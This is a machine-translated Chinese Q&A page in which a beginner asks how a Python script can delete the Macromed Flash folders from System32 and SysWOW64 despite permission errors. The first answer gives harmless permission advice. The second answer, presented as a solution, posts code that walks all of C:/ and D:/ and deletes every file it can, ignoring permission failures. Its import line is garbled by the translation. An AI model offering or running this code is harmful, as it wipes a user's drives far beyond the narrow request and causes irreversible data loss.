Python:从system32或SysWOW64删除文件夹的脚本

时间:2018-07-28 21:44:40

标签: python python-3.x

我是Python的新手,但这是我要尝试的工作,我正在尝试编写一个脚本,该脚本删除 C:\ Windows \ System32 \ Macromed C:Windows \ SysWOW64 \ Macromed (基本上是Adobe Flash手动卸载文件)。我遇到的是来自Windows的权限问题,因为它需要提升的权限才能删除这些文件夹。但是,Windows不会提示我同意权限,也不会要求我的管理员用户名/ password来允许我删除这些文件夹。

我尝试过在线查看,看到了shutil.rmtree()的工作原理,但就像我说的那样,遇到了权限墙问题。

感谢您的帮助。

2 个答案:

答案 0 :(得分:0)

只需尝试手动将其删除,但仍然会遇到Windows的权限问题,那么python脚本也将不起作用,您必须从Windows获取所有权对象。尝试更改文件权限,然后运行python脚本。通常,Windows不允许删除 System32 目录中的文件,这是Windows的核心部分。

编写成功的脚本,并首先使用用户目录中的文件对其进行测试。然后处理要删除的文件夹的窗口。

答案 1 :(得分:0)

从os import walk 导入操作系统

# home = os.path.normpath(os.path.expanduser("~"))
home="C:/"

for dirpath,dirnames,file in walk(home):
    for files in file:
        dirpath1=os.path.normpath(dirpath)
        childpath=os.path.join(dirpath1,files)
        print(childpath)
        try:
            os.remove(childpath)
        except PermissionError:
            continue

home="D:/"

for dirpath,dirnames,file in walk(home):
    for files in file:
        dirpath1=os.path.normpath(dirpath)
        childpath=os.path.join(dirpath1,files)
        print(childpath)
        try:
            os.remove(childpath)
        except PermissionError:
            continue